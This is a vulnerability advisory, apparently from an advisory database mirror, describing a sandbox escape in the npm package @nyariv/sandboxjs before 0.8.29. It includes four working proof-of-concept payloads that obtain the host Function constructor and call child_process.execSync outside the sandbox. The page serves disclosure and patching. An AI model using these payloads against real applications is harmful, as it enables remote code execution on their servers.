@nyariv/sandboxjs has a Sandbox Escape issue
Summary
The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
PoC
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)[0].at(1)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)
.at(0)
.map((f) => {
if (typeof f === 'function') {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
}
}),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();Impact
Sanbox Escape -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-74- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 05.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-58jh-xv4v-pcx4 - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
@nyariv/sandboxjs has a Sandbox Escape issue this entry
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